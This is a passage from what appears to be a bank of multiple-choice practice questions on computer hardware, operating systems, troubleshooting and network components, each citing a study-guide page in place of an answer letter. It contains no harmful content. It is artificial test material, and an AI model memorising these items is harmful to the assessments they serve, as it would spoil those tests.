D. RAM keeps its contents for longer periods, while drives are quicker to read but lose data at shutdown.

Answer: page 1028

0003.b.3.5

A student saves a report, closes the word processor, and shuts down the computer for the night. At which point must the report's data be copied from the solid-state drive into memory?

A. when each character is later typed into the open report

B. when the report is opened for editing the next morning

C. when the computer shuts down at the end of the evening

D. when the report is saved before the word processor is closed

Answer: page 1028

Operating system

0003.b.4.1

A team builds a photo editor that opens and saves files in the same way on laptops with very different storage hardware. What most directly makes this possible?

A. The editor is compiled separately for each specific model of storage drive.

B. The operating system provides file services that hide differences among devices.

C. Photo files are stored in a format that drives can read without any software.

D. Laptop manufacturers build the editor's file routines into their storage hardware.

Answer: page 1028

0003.b.4.2

A computer is running a browser and a spreadsheet at the same time when the browser needs more memory for a new tab. Which software most directly determines where that memory comes from?

A. the device driver for the memory, which assigns space to each new tab

B. the browser, which takes the memory that it needs from other programs

C. the operating system, which allocates memory among running processes

D. the compiler, which reserved memory for each tab when the browser was built

Answer: page 1028

0003.b.4.3

A user listens to a music player while browsing the web on a computer with one processor core. The music continues without gaps while pages load. Which part of the system most directly coordinates this sharing?

A. the operating system's scheduler

B. the browser's tab manager

C. the sound card's device driver

D. the processor's arithmetic logic unit

Answer: page 1028

0003.b.4.4

A programmer's application saves a file by calling a system function, `save(path, data)`, rather than sending commands to the disk itself. What is the main benefit of this design?

A. The application can write its data sooner than the hardware itself would permit.

B. The application has its data encrypted automatically by each function call.

C. The application can use storage without knowing how each kind of device works.

D. The application can skip the permission checks enforced by the file system.

Answer: page 1028

0003.b.4.5

Two teachers share one computer under separate accounts. Each can open personal grade files, but an attempt to open the other teacher's files is refused. Which operating system function is most directly responsible?

A. scheduling the processes that each teacher's programs start

B. managing the device drivers for the computer's drive

C. enforcing the permissions set on files in the file system

D. allocating memory to programs while they are running

Answer: page 1028

Device drivers

0003.b.5.1

A school connects a new label printer to a laptop. The laptop's operating system does not recognize the printer. Which software component is most likely to be needed?

A. a firmware update for the laptop

B. a web browser plug-in

C. a device driver

D. a compiler for the printer's language

Answer: page 1028

0003.b.5.2

A student draws the path of a print request as application, then operating system, then an unlabeled box, then printer. Which label belongs in the box?

A. an assembler, which converts the application's text into binary for the printer

B. a browser plug-in, which displays the request for the printer to read

C. an arithmetic logic unit, which calculates the layout of each printed page

D. a device driver, which translates requests for that printer model

Answer: page 1028

0003.b.5.3

A new kind of 3D printer goes on sale long after a computer's operating system was released, yet the system can use the printer once the manufacturer's software is added. Which benefit of this design does the situation illustrate?

A. Applications can now use the device without involving the operating system.

B. Hardware makers no longer need to supply any details about their devices.

C. Support for new hardware can be added without rewriting the operating system.

D. Added software makes new hardware run faster than built-in code ever could.

Answer: page 1028

0003.b.5.4

A computer's sound stops working in every application after a clean installation of the operating system. The speakers work properly when connected to another computer. Which step is most appropriate?

A. reinstalling the media player application that was used most recently

B. installing the sound driver supplied by the computer's manufacturer

C. replacing the computer's sound hardware with a new internal card

D. changing the speakers over to a wireless connection with the computer

Answer: page 1029

0003.b.5.5

After a new webcam driver is installed, a school's computers sometimes crash completely, losing every open program. When a faulty video application fails, by contrast, only that application closes. Which explanation is most accurate?

A. Applications are written in safer languages than any driver can be.

B. Applications run on a separate processor from the one used by drivers.

C. Drivers often run with high privileges, close to the operating system.

D. Drivers are stored on the device, not on the computer's own drive.

Answer: page 1029

Machine and assembly language

0003.b.6.1

An engineer inherits a file from a retired colleague. It contains lines such as `MOV R1, 5` and `ADD R1, R2`, and no other documentation. Which statement most accurately classifies the contents of this file?

A. They are markup tags that describe how a web page should be displayed.

B. They are human-readable instructions tied to a particular processor architecture.

C. They are high-level statements that run on all computers without translation.

D. They are binary instructions that the processor reads without further translation.

Answer: page 1029

0003.b.6.2

A debugging tool displays a program's instructions as strings such as `10110000 00000101`, in exactly the form that the processor runs them. The tool is showing:

A. assembly language that an assembler must first translate.

B. markup that a web browser must first interpret.

C. machine language that the processor executes directly.

D. high-level source code that a compiler must first translate.

Answer: page 1029

0003.b.6.3

A routine written by hand in assembly language runs correctly on one family of processors but fails on another family, although both computers have ample memory. Which is the most likely reason?

A. Its instructions are interpreted by a web server that the second computer lacks.

B. Its instructions belong to the instruction set of one specific architecture.

C. Its instructions depend upon the screen fonts installed on the first computer.

D. Its instructions are fewer in number than the equivalent machine code.

Answer: page 1029

0003.b.6.4

A student turns on a compiler option that saves the output of each translation stage. One saved file contains lines such as `MOV R1, 5`, although the student's source code has no such lines. Which explanation is most accurate?

A. The operating system added them when the finished program was loaded into memory.

B. The text editor inserted them in order to make the source code easier to read.

C. The processor wrote them in order to explain the machine code it had just run.

D. The compiler generated them as an intermediate stage on the way to machine code.

Answer: page 1029

0003.b.6.5

Which tool converts instructions such as `ADD` and `MOV` to binary for a processor?

A. a debugger

B. an assembler

C. a linter

D. a device driver

Answer: page 1029

Compilers and interpreters

0003.b.7.1

A company distributes a program as a ready-to-run executable for one operating system. A student's script, by contrast, is distributed as source and runs on any machine with the right program installed. Which description best fits these two approaches?

A. The company's program was translated before distribution, and the script is translated as it runs.

B. The company's program contains source statements, and the script is read directly by the processor.

C. The company's program is encrypted for sale, and the script is decrypted by the program installed.

D. The company's program is translated on each run, and the script was translated before distribution.

Answer: page 1029

0003.b.7.2

A beginning programmer asks why a processor cannot simply read the line `total = price + tax` as it appears in a source file. Which answer is most accurate?

A. The processor executes only binary instructions, so such text must first be translated.

B. The processor can read such text after variable names are replaced with numeric values.

C. The processor can read such text, but it needs more memory than most computers have.

D. The processor can read such text, but only when the file is saved in plain format.

Answer: page 1029

0003.b.7.3

A student's compiled program must be rebuilt after every edit, whereas a teammate's interpreted script can be run again immediately. Which trade-off does this contrast suggest?

A. Interpretation generally runs programs faster than compiled code would.

B. Interpretation produces a stand-alone executable that is easy to share.

C. Compilation removes any need to test the program after each change.

D. Compilation adds a build step that can later pay off in running speed.

Answer: page 1029

0003.b.7.4

Which approach best lets a company sell software while keeping its source code private?

A. distributing source along with a license forbidding copying

B. distributing scripts with all comments removed

C. distributing only compiled binaries

D. distributing source in a password-protected archive

Answer: page 1029

0003.b.7.5

A program's final line refers to a variable that was never declared. Under one language implementation, the program refuses to start and reports the problem. Under another, the earlier lines run and display output, and the program stops on reaching the last line. Which explanation is most accurate?

A. The second has no need for machine language, so it has no way of checking the program first.

B. The first is written in assembly language, which allows the processor to read the lines together.

C. The first runs on a faster processor, so it reaches the final line before the output appears.

D. The first translates the whole program in advance, and the second translates during execution.

Answer: page 1029

Logic gates

0003.b.8.1

A laboratory's fan must run if a sensor detects fumes while the master switch is on. Either condition alone must leave the fan off. Which arrangement directly implements this rule?

A. an `XOR` gate with the sensor and switch as its inputs

B. a `NOT` gate that is placed on the sensor's signal

C. an `OR` gate with the sensor and switch as its inputs

D. an `AND` gate with the sensor and switch as its inputs

Answer: page 1029

0003.b.8.2

A student traces a computer downward through levels of abstraction: programs run on circuits, and circuits are made of gates. The gates themselves are physically built from:

A. instructions stored in the device's firmware.

B. registers that hold the results of instructions.

C. transistors that switch the electrical signals.

D. bits of data that travel along the system's wires.

Answer: page 1029

0003.b.8.3

A student models an alarm panel using the reference sheet's language, to see how its signals combine.

```
01 bool door = TRUE
02 bool armed = FALSE
03 bool test = TRUE
04 output(test OR door AND armed)
05 output(NOT(door) OR test)
```

Which output would this code snippet produce?

A. `>>> TRUE` then `>>> FALSE`

B. `>>> FALSE` then `>>> FALSE`

C. `>>> TRUE` then `>>> TRUE`

D. `>>> FALSE` then `>>> TRUE`

Answer: page 1029

0003.b.8.4

A stairway light is controlled by two switches, `A` and `B`, one at each end. Flipping either switch changes the light: it is on when the switches' positions differ and off when they match. Which gate implements this behavior?

A. `XOR`

B. `OR`

C. `AND`

D. `NOT`

Answer: page 1029

0003.b.8.5

A student builds a circuit that adds two one-bit numbers, with one output for the sum and another for the carry. For inputs `1` and `1`, the circuit gives sum `1` and carry `1`, although the correct result is binary `10`. All other input combinations give correct results. Which design fault explains this behavior?

A. The sum comes from an `OR` gate rather than an `XOR` gate.

B. The sum comes from an `AND` gate rather than an `XOR` gate.

C. The carry comes from an `OR` gate rather than an `AND` gate.

D. The carry comes from a `NOT` gate placed on one of the inputs.

Answer: page 1029

Firmware

0003.b.9.1

A home router's manufacturer publishes a file that is written into the router's own flash memory, replacing the code that runs the router's basic functions. This file is best described as:

A. firmware for the router.

B. a web browser plug-in for the settings page.

C. a device driver for the owner's computer.

D. a virtual machine for the home network.

Answer: page 1029

0003.b.9.2

With its solid-state drive removed and its memory empty after a power-off, a desktop computer still displays a hardware setup screen when it is turned on. The code responsible can run because it is:

A. reconstructed by the processor from operating system files in its registers.

B. downloaded from the vendor's website each time the power comes on.

C. stored in nonvolatile memory on the hardware itself.

D. held in random access memory, whose contents survive a shutdown.

Answer: page 1030

0003.b.9.3

A security researcher finds a flaw in the low-level software stored on a popular smart camera, and the camera's manufacturer publishes a correction. Which action by a camera owner best addresses the flaw?

A. reinstalling the camera's companion application on a phone

B. applying the manufacturer's update to the camera itself

C. restarting the camera at the end of each night

D. changing the name of the home's wireless network

Answer: page 1030

0003.b.9.4

A technician warns a school not to unplug its network switches while a low-level update is being written to them, although unplugging a laptop during an application update is rarely serious. Which reason best supports the warning?

A. A switch may delete all documents on computers that are connected to it.

B. A switch may begin to operate at a slower speed on the school's network.

C. A switch may lose the application settings that were saved by its users.

D. A switch may lose the stored software that it needs in order to boot up.

Answer: page 1030

0003.b.9.5

When a computer is powered on, some software must initialize the hardware before the operating system has loaded, and then must start the operating system. Which software performs this role?

A. the system firmware stored on the computer's main circuit board

B. the compiler that built the operating system from its source code

C. a device driver that was installed with the operating system

D. the application programming interface that the operating system provides

Answer: page 1030

Embedded systems

0003.b.10.1

A car has a computer that reads wheel sensors and controls the brakes, and it cannot run other applications. This computer is best described as:

A. a mainframe.

B. a web server.

C. an embedded system.

D. a virtual machine.

Answer: page 1030

0003.b.10.2

A controller inside a home thermostat runs one program for years and must decide when to start the furnace. Its information about the temperature of the room most likely comes from:

A. a keyboard on which the resident types each new reading.

B. a web form that the resident submits to the thermostat.

C. a database of room temperatures kept on the furnace.

D. a sensor that measures the conditions inside the room.

Answer: page 1030

0003.b.10.3

Which device in a school most likely contains a dedicated computer within a larger machine?

A. a desktop computer on which teachers run many different applications

B. a tablet on which staff members install applications as needed

C. a web server that hosts sites for the district's various schools

D. a controller that runs the wash cycles of a cafeteria dishwasher

Answer: page 1030

0003.b.10.4

A developer who has always written desktop applications begins writing the software for a battery-powered heart monitor. Compared with the earlier work, which constraints will most demand new attention?

A. support for many web browsers, screen sizes, and installed fonts

B. large amounts of screen space for displaying menus and windows

C. support for third-party applications that the patient may install

D. limited memory and power, along with strict timing requirements

Answer: page 1030

0003.b.10.5

A family's networked dishwasher, expected to last 15 years, has software that its maker no longer updates. A flaw is then found in its network features. Which concern does this situation best illustrate?

A. Appliance flaws are limited to the mechanical parts of the appliance in question.

B. Owners can usually replace the low-level software in an appliance at no cost.

C. Dedicated devices are generally unable to connect safely to home networks.

D. Long-lived devices may remain vulnerable when they have no way to receive updates.

Answer: page 1030

0003.c Troubleshooting

Read about this in the content summary: 0003.c, page 109.

Troubleshooting process

0003.c.1.1

A teacher reports that a classroom projector shows no image. A technician replaces the bulb, the cable, and the connected laptop all at once before checking anything further. Which part of effective problem solving has the technician most clearly neglected?

A. contacting the manufacturer before touching the equipment

B. writing up the solution before a repair is attempted

C. changing one thing at a time and testing after each change

D. starting with the costliest component, as the likeliest cause

Answer: page 1030

0003.c.1.2

A new technician's checklist for a frozen application begins with reinstalling the operating system, continues with replacing the memory, and ends with closing and reopening the application. Which revision is most sound?

A. reversing the list, so that quick and common remedies are tried before costly ones

B. adding a step that replaces the drive before the operating system is reinstalled

C. removing the last step, since reopening cannot affect an application that has frozen

D. keeping the order, since the most difficult remedies are also the most thorough

Answer: page 1030

0003.c.1.3

A help desk technician solves an unusual printer problem and writes down the symptom and the solution in a shared log. Which benefit does this practice most directly provide?

A. The technician's supervisor can check each repair for errors.

B. The printer will no longer require any regular maintenance.

C. The same problem is prevented from recurring on other printers.

D. Others can resolve the same problem more quickly in the future.

Answer: page 1030

0003.c.1.4

Which sequence best addresses a laptop that cannot join a school's wireless network?

A. confirming the symptom, checking likely causes, testing each change, and recording the fix

B. repeating the connection attempt several times, and then waiting for the error to clear

C. replacing the network card, reinstalling the system, testing, and then calling the Internet provider

D. restarting the school's router, asking everyone to log out, and then checking the laptop

Answer: page 1030

0003.c.1.5

A lab computer worked normally on Friday but fails on Monday. Before running any tests, a technician asks who installed or altered anything over the weekend. Why is this a useful first question?

A. Problems on a computer result from a change made by someone, so the person responsible must be found.

B. An older change stops affecting a computer once that computer has been restarted.

C. A recent change is a common cause of a new problem, so it narrows the search.

D. An answer to the question removes the need to test whichever cause is suspected.

Answer: page 1030

Isolating a fault

0003.c.2.1

Which test best shows whether a blank monitor, rather than its computer, is at fault?

A. updating the operating system installed on the desktop computer

B. adjusting the brightness setting on the front of the monitor

C. reinstalling the graphics driver on the desktop computer

D. connecting the monitor to another computer known to work

Answer: page 1030

0003.c.2.2

A lab technician suspects a faulty keyboard and exchanges it with one from a neighboring computer that is known to work. The main purpose of this exchange is to:

A. learn whether the fault follows the keyboard or stays with the computer.

B. restore the settings that the suspect computer had in an earlier session.

C. remove malicious software that may be stored on the suspect keyboard.

D. bring the keyboard's driver up to the version on the neighboring computer.

Answer: page 1030

0003.c.2.3

A headset does not work on a student's laptop, but it works on a classmate's laptop. A second headset also fails on the student's laptop. Where is the problem most likely to be?

A. the classmate's laptop

B. the student's laptop

C. the second headset

D. the first headset

Answer: page 1031

0003.c.2.4

A keyboard fails intermittently, and both the keyboard and the USB port it uses are suspects. Which step gives the most information about the source of the fault?

A. trying the keyboard in another port, and another keyboard in the original port

B. replacing the keyboard and its port at once, and then checking whether the failures stop

C. updating the keyboard's firmware, and then restarting the computer two times in a row

D. reinstalling the operating system, and then monitoring the keyboard for a week of use

Answer: page 1031

0003.c.2.5

A technician moves a suspect memory module from a failing computer into a second computer known to work. The second computer now shows the same failure. What does this result most directly indicate?

A. The second computer has developed a fault of its own by chance.

B. The first computer is likely faulty, rather than the module.

C. The module is likely faulty, rather than the first computer.

D. The result gives no information until all other parts have been moved.

Answer: page 1031

Checking connections and power

0003.c.3.1

A classroom display shows "No Signal" on Monday morning, although the connected laptop is on and its own screen is working. Which step should be tried first?

A. checking the selected input source and the cable connection

B. replacing the graphics card inside the classroom laptop

C. reinstalling the operating system on the classroom laptop

D. ordering a replacement display from the manufacturer

Answer: page 1031

0003.c.3.2

Which checks should precede requesting a replacement for a scanner that appears dead?

A. power, cables, and the device's settings

B. firmware version, memory, and storage

C. system logs, drivers, and pending updates

D. licenses, user accounts, and permissions

Answer: page 1031

0003.c.3.3

A desktop computer will not power on after a classroom's furniture is rearranged over a weekend. Which cause should be investigated first?

A. a power supply that failed when the computer was carried across the room

B. a drive whose operating system was corrupted by movement during the rearrangement

C. a motherboard battery that drained while the computer was disconnected from the wall

D. a loose power cable or a power strip that has been switched off

Answer: page 1031

0003.c.3.4

Students in a lab cannot hear a video lesson on a shared computer, although the video plays normally and the power light on the speakers is on. Which check should come first?

A. the computer's solid-state drive, for failing storage sectors

B. the school's firewall rules and the network's traffic logs

C. the audio chip on the computer's motherboard, for damage

D. the volume settings and the selected audio output device

Answer: page 1031

0003.c.3.5

A printer shows an error after being moved to a different office, and a staff member wants to call for service immediately. Which argument best supports checking simple causes first?

A. The checks make a later record of what happened with the printer unnecessary.

B. The checks are a legal requirement that the law places on owners before a repair.

C. The checks will show that the printer's internal hardware is free of faults.

D. The checks may solve the problem quickly and avoid an unnecessary service call.

Answer: page 1031

Problems after an update

0003.c.4.1

After a major system update, a classroom document camera no longer appears among the devices on the teacher's computer, while the keyboard and other devices continue to work. Which step is most likely to restore the camera?

A. turning off the computer's firewall so that the camera can be seen by the system

B. replacing the camera with a new one, since the update must have damaged it

C. installing an updated driver for the camera from the manufacturer or system vendor

D. clearing the web browser's cache and saved history on the teacher's computer

Answer: page 1031

0003.c.4.2

One statistics application crashes on launch after a system update, while every other application on the computer runs normally. Which next step is most reasonable?

A. formatting the drive and reinstalling all of the software

B. installing newer drivers for each of the computer's devices

C. replacing the memory modules, which the update may have damaged

D. checking for a patch for that application, or reinstalling it

Answer: page 1031

0003.c.4.3

All applications on a school's computers become slow immediately after an update. The manufacturer acknowledges the issue and releases a fix. What should the school's technician most reasonably do next?

A. turn off automatic updates permanently on all of the computers

B. delete old files from each computer to free some space

C. replace the computers with another manufacturer's models

D. install the fix that the manufacturer has released

Answer: page 1031

0003.c.4.4

A school's IT department installs each system update on a small group of devices before sending it to all the others. Which problem does this practice most directly address?

A. An incompatibility can be found before it affects everyone at the school.

B. Updates will otherwise require more network access than the school can provide.

C. Users will otherwise have no way of reporting problems after an update.

D. Devices will otherwise stay exposed to known flaws for longer than necessary.

Answer: page 1031

0003.c.4.5

An update breaks a program needed for an exam the next morning, and no fix is yet available. If the system supports it, which step is most appropriate?

A. rolling back the update and reporting the problem

B. erasing the drive and installing a different system

C. turning off all future updates on all school computers

D. leaving the update in place and hoping that it resolves

Answer: page 1031

Connectivity troubleshooting

0003.c.5.1

A student's laptop cannot load a particular website. Which first check best helps to separate a problem with the site from a problem with the connection?

A. restarting the school's main router during the class period

B. replacing the laptop's network card with a newer wireless model

C. reinstalling the laptop's operating system and all of its web browsers

D. trying other websites on the laptop, and that site on another device

Answer: page 1031

0003.c.5.2

A teacher's laptop loses its wireless connection during class. Before changing anything on the laptop, the teacher asks whether the students' laptops are also offline. This question is useful mainly because the answer:

A. separates a problem with one device from a problem with the network.

B. measures the speed of the school's connection to the Internet.

C. identifies which of the students' laptops has caused the outage.

D. confirms that the teacher's network password has remained correct.

Answer: page 1031

0003.c.5.3

A student's browser reports "server not found" for every site typed by name, yet a known website loads when its numeric Internet Protocol (IP) address is typed. Which component is most likely having a problem?

A. the Domain Name System

B. the wireless access point

C. the default gateway

D. the website's HTTPS certificate

Answer: page 1031

0003.c.5.4

All devices in a home lose Internet access at the same moment, so that video calls and web pages fail on each, but the devices can still share files with one another and print to a networked printer. Which step is most reasonable?

A. restarting the router and modem, then checking for an outage at the provider

B. deleting the shared files from each device on the home network

C. replacing the wireless card in each device with a newer model

D. reinstalling the operating system on each of the devices in the home

Answer: page 1031

0003.c.5.5

A laptop has connected to a school's wireless network but cannot reach anything, and its settings show an address beginning with `169.254`. Which is the most likely explanation?

A. It has been given a public address directly by the school's Internet provider.

B. It did not get an address from the Dynamic Host Configuration Protocol (DHCP) server.

C. It has reached a website whose address has replaced the laptop's own address.

D. It has been placed in a quarantine range by the school's website filter.

Answer: page 1032

Preventive maintenance

0003.c.6.1

A school's computers are kept in a hot, dusty storage room, and several have failed from overheating. Which preventive step best addresses this problem?

A. installing larger solid-state drives in each of the computers

B. applying the latest operating system updates on each computer

C. moving each of the computers onto a surge protector

D. cleaning the computers and improving the room's ventilation

Answer: page 1032

0003.c.6.2

A teacher keeps five years of lesson plans on one laptop's drive and worries about what would happen if the drive failed. Which measure would most directly protect the plans against such a failure?

A. running antivirus software on a daily schedule

B. making regular backups to a separate location

C. requiring a screen lock after a short idle period

D. turning on encryption of the entire drive

Answer: page 1032

0003.c.6.3

A computer lab is in a building where power spikes are frequent, and several power supplies have been damaged in the past year. Which equipment most directly helps to protect the computers?

A. wireless adapters in place of the lab's network cables

B. surge protectors between the computers and the wall outlets

C. additional cooling fans inside each of the computers' cases

D. external drives attached to each of the lab's computers

Answer: page 1032

0003.c.6.4

A laptop has become unstable, updates now fail to install, and its drive is 99 percent full. Which preventive practice is most directly relevant to this situation?

A. subscribing to a faster plan for Internet service

B. reducing the brightness of the display during use

C. reinstalling all of the applications on a monthly basis

D. keeping adequate free space on the storage drive

Answer: page 1032

0003.c.6.5

To avoid disrupting classes, a district is deciding whether to delay all software updates until summer break. Which risk weighs most heavily against this plan?

A. Teachers would need to relearn all applications at once.

B. Devices would receive updates over a slower summer network.

C. Devices would run short of storage for new applications.

D. Known security flaws would remain open for months.

Answer: page 1032

Working within restrictions

0003.c.7.1

The shared computers in a school library do not permit software to be added. A student volunteer must turn one photograph of a flyer into a PDF file this afternoon. Which approach best fits these conditions?

A. a startup from a personal USB drive that avoids the library's system

B. a permanent administrator account for each library volunteer

C. an approved online converter that runs in the web browser itself

D. a licensed desktop suite installed by staff on each library computer

Answer: page 1032

0003.c.7.2

A student without administrator rights on a school laptop cannot add programs, yet can use an approved online diagram editor. Which statement best explains why this is possible?

A. The editor is exempt from all of the rules on the school's network.

B. The editor runs on a second operating system that is hidden on the laptop.

C. The editor runs within the browser, so nothing new must be installed.

D. The editor temporarily gives the student's account administrator rights.

Answer: page 1032

0003.c.7.3

A teacher wants a class to edit images for one lesson next week, using school-managed laptops on which students cannot install software. Which plan is most appropriate?

A. testing an approved browser-based editor before the lesson

B. sharing an administrator password with a few student leaders

C. asking students to install an editor using personal accounts

D. delaying the lesson until the laptops have been replaced

Answer: page 1032

0003.c.7.4

A student finds an online method for getting past the installation restrictions on a school laptop, in order to add a favorite game engine. Which is the strongest reason not to use the method?

A. It may leave the laptop's battery with less charge each day.

B. It may cost the school money for each program that is added.

C. It may stop the laptop from running approved browser tools.

D. It circumvents a security control and may violate school policy.

Answer: page 1032

0003.c.7.5

A browser-based tool that a teacher plans to use asks students to upload a file containing personal information. What should the teacher consider first?

A. whether the tool's interface matches the class's other tools

B. whether the tool loads quickly on the school's network

C. whether the service's privacy terms permit this use of the data

D. whether the tool offers the most features at no charge

Answer: page 1032

Help desk escalation

0003.c.8.1

A teacher submits a help desk report that says, "The Internet is broken." Which revision of the report would most help the IT staff?

A. “One of my students said that the classroom computers have not been working well for quite a while now.”

B. “Room 204 laptops cannot reach `example.org` since 9 a.m.; other sites load.”

C. “Please fix the network as soon as possible, because a test is scheduled for tomorrow and the students are becoming unhappy.”

D. “The Internet in our wing has been very slow all year, and we reported the same trouble to this office in September and again in January.”

Answer: page 1032

0003.c.8.2

A teacher finds that a science simulation site needed for next week’s lesson is blocked on the school’s network, although the same site loads normally on the teacher’s home connection. Which step is most appropriate?

A. asking students to reach the site through a personal VPN during the lesson

B. asking IT staff to review the block, giving the site’s address and the lesson’s need

C. asking the site’s publisher to remove the block from its own web servers

D. asking the Internet provider to change the filter applied at the school

Answer: page 1032

0003.c.8.3

A teacher has followed the basic steps and determined that the problem affects the whole building’s network. What is the most appropriate next step?

A. having students connect to the Internet through a personal VPN

B. continuing to restart the teacher’s own laptop at intervals

C. changing the settings on the router without any permission

D. escalating the problem to IT staff with the details gathered

Answer: page 1032

0003.c.8.4

A teacher’s grading software displays an unfamiliar error each time a report is run, and the teacher decides to contact the help desk. Which information is most helpful to include?

A. the teacher’s opinion of the software and of the company that makes it

B. the total number of reports that the teacher has run over the past year

C. the exact error message, the steps that produce it, and when it started

D. a list of alternative tools that could serve the same purpose in class

Answer: page 1032

0003.c.8.5

A help desk asks a teacher to attach a screenshot of an error from the school's grade book. What is the most important thing for the teacher to do before sending it?

A. check that it is saved at the highest available resolution

B. check that it shows the whole screen, not only the error

C. check that it does not reveal student information

D. check that the error's cause has been worked out in advance

Answer: page 1032

0003.d Network components and topologies

Read about this in the content summary: 0003.d, page 112.

Local and wide area networks

0003.d.1.1

A school district wires each of its buildings itself and leases a carrier's line to join two campuses in different cities. An auditor classifying this infrastructure should conclude that:

A. each building holds a local area network, and the leased line provides a wide area connection.

B. the whole system is one wide area network, because a network with a router is wide area.

C. each building is a wide area network, and the line is local because one customer uses it.

D. the whole system is one local area network, because a single district administers its devices.

Answer: page 1033

0003.d.1.2

A teacher defines a category of network as one that joins other networks across large distances, and then asks the class for the largest example that exists. The correct response is:

A. the Internet, which joins networks around the world.

B. a multinational company's private network, which links offices on several continents.

C. a satellite operator's network, which covers more land than any other network.

D. a national research network, which links the supercomputers of many universities.

Answer: page 1033

0003.d.1.3

Staff copy large files to a server down the hall within seconds, yet downloads of the same size from the Internet take minutes at all hours. Which component is the most likely bottleneck?

A. the switch that joins the staff computers to the server down the hall

B. the network adapters that are installed in each of the staff computers

C. the connection joining the building's network to the provider

D. the storage drive inside the file server at the end of the hall

Answer: page 1033

0003.d.1.4

A construction crew cuts the only line joining a high school to its Internet provider. No equipment inside the building is damaged. Which outcome should the technology coordinator most likely expect until the repair?

A. Computers can still reach the printers and file server in the building, but not outside websites.

B. Computers can still reach outside websites, but not the printers and file server in the building.

C. Computers cannot reach anything, because local traffic travels through the provider first.

D. Computers can reach devices in the same room but not other rooms, because switches depend on the provider.

Answer: page 1033

0003.d.1.5

A health system wants clinics in three counties to use one records system hosted at its main hospital. Each clinic already has a working internal network. Which addition does this plan most clearly require?

A. a firewall at each clinic that lets record traffic leave the building

B. long-distance links that join each clinic's network to the main hospital

C. additional switches that extend each clinic's internal network to more rooms

D. additional wireless access points along the outer edge of every clinic's property

Answer: page 1033

Switches and routers

0003.d.2.1

A student's laptop sends a document to a printer in the same room and then loads a web page from a server in another country. Which statement most accurately identifies the equipment forwarding each transmission?

A. a firewall handles the printer traffic, and an access point carries the web traffic to the server.

B. routers handle the printer traffic, and a single switch carries the web traffic across the world.

C. a switch handles the printer traffic, and routers carry the web traffic between networks.

D. a modem handles the printer traffic, and name servers carry the web traffic.

Answer: page 1033

0003.d.2.2

A technician finds that a network device keeps a table pairing each physical port with values such as `3C:22:FB:10:7A:91`, and consults it to choose a port for arriving data. This device is most likely:

A. a name server translating names into numeric addresses.

B. a switch forwarding data within a local network.

C. a router forwarding packets between separate networks.

D. a firewall comparing data against its rules.

Answer: page 1033

0003.d.2.3

A router at a school receives a packet bound for a server in another state and compares a header value with its table to choose the next network. That value is the packet's:

A. destination IP address.

B. destination port.

C. destination domain name.

D. destination hardware address.

Answer: page 1033

0003.d.2.4

A college's biology and physics departments each have their own switch and range of addresses. Staff in one cannot reach a printer in the other. Which single addition would most directly allow traffic between them?

A. a second switch beside the physics department's switch

B. a router with one connection to each department's network

C. a name server giving the printer a name both departments recognize

D. an access point extending Wi-Fi across the biology department

Answer: page 1033

0003.d.2.5

All 24 ports on a floor's switch are full, and 16 more computers must join that local network. Which addition is most appropriate?

A. a router placed between the existing switch and the new computers

B. a second switch connected to the one already serving the floor

C. a firewall placed in front of the group of 16 new computers

D. a second Internet connection dedicated to the 16 new computers

Answer: page 1033

Access points and firewalls

0003.d.3.1

A school adds a wing with no network cabling, and its carts of tablets need to reach file servers on the existing wired network. Which equipment most directly meets this need?

A. a name server in the wing, since tablets find file servers by name

B. a switch in each classroom, since tablets use the same ports as desktop computers

C. wireless access points that are connected to the existing wired network

D. a firewall in the wing, since it passes wireless traffic to the wired side

Answer: page 1033

0003.d.3.2

A device's configuration lists entries such as "deny all other incoming traffic." Its main function is to:

A. encrypt the traffic so that outsiders cannot read what it contains.

B. assign an address to each device at the moment that it joins the network.

C. find the most efficient route for each packet across other networks.

D. filter the traffic entering the network according to a list of rules.

Answer: page 1033

0003.d.3.3

A company's firewall blocks outside connections except on the ports used for its public website. Which risk does this most directly reduce?

A. misuse of data by employees with legitimate internal access

B. hardware failures of the company's internal storage servers

C. phishing emails tricking employees into giving their passwords

D. outside access to internal services that should not be exposed

Answer: page 1033

0003.d.3.4

Students at the far end of a school report weak Wi-Fi, while students near the main office do not, and the Internet connection is nowhere near full. What is the most appropriate solution?

A. adding a second router to strengthen wireless signals everywhere

B. upgrading the Internet plan to a higher speed for the whole building

C. adding an access point near the classrooms with the weak signal

D. replacing the main switch with a faster model

Answer: page 1033

0003.d.3.5

After a firewall is installed, a principal announces that the network is fully secure. An attacker then logs in with a teacher's stolen password, over a connection that the rules allow. What best explains why the firewall did not stop this?

A. It examines traffic that is leaving the network, so it does not inspect incoming connections.

B. It checks each user's password, but it does not recognize a stolen password as different from its owner's.

C. It encrypts stored files, so the login traffic falls outside of what it is designed to do.

D. It applies rules to network traffic, and a login with stolen credentials can satisfy those rules.

Answer: page 1034

Star topology

0003.d.4.1

A lab has 30 computers, each attached by its own cable to one device at the front of the room. Which summary accurately states what this layout makes easy and what it puts at risk?

A. New computers are simple to add, but one damaged cable would stop the entire lab.

B. New computers are difficult to add, because each must be wired to all of the others.

C. New computers are difficult to add, because the lab goes offline during each addition.

D. New computers are simple to add, but the front device is a single point of failure.

Answer: page 1034

0003.d.4.2

A technician finds that each computer in an office has exactly one cable, and that all of those cables end at the same switch. This layout is known as:

A. a bus topology.

B. a mesh topology.

C. a star topology.

D. a ring topology.

Answer: page 1034

0003.d.4.3

One computer in a 20-computer office loses its network connection, while the others continue to print and reach the server. Each has its own cable to a central switch. A technician should first suspect:

A. the neighboring computers, since each relays data for the one beside it.

B. that computer's own cable, or that cable's connection at the switch.

C. the central switch, since a faulty switch stops one computer at a time.

D. the shared backbone cable, since a break in it isolates one computer.

Answer: page 1034

0003.d.4.4

An office's computers each run a cable to one switch in a closet. Which change would best let work continue if that switch fails?

A. replacing every cable with a shorter one to reduce signal loss

B. installing a firewall that protects the switch from outside attacks

C. adding a second switch and links so that traffic can fail over to it

D. upgrading the switch to a model with more ports

Answer: page 1034

0003.d.4.5

In a home, a phone, a laptop, and a printer communicate only through one wireless access point, never directly with each other. Although no cables are involved, this arrangement most closely resembles:

A. a mesh, because wireless devices can all reach one another through the air.

B. a star, because every device communicates through one central point.

C. a tree, because the access point sits above several levels of star-shaped groups.

D. a ring, because each device passes signals to the next one.

Answer: page 1034

Bus and ring topologies

0003.d.5.1

In an older office, all of the computers tap into one long cable along the ceiling. When a worker severs it near the middle, computers on both sides lose most of their connections. Which description best fits this network?

A. a ring, since data must pass through neighbors on each side

B. a star, since the cut cable ran through one central point

C. a mesh, since the cut removed the many paths between computers

D. a bus, since all of the computers depend on one shared cable

Answer: page 1034

0003.d.5.2

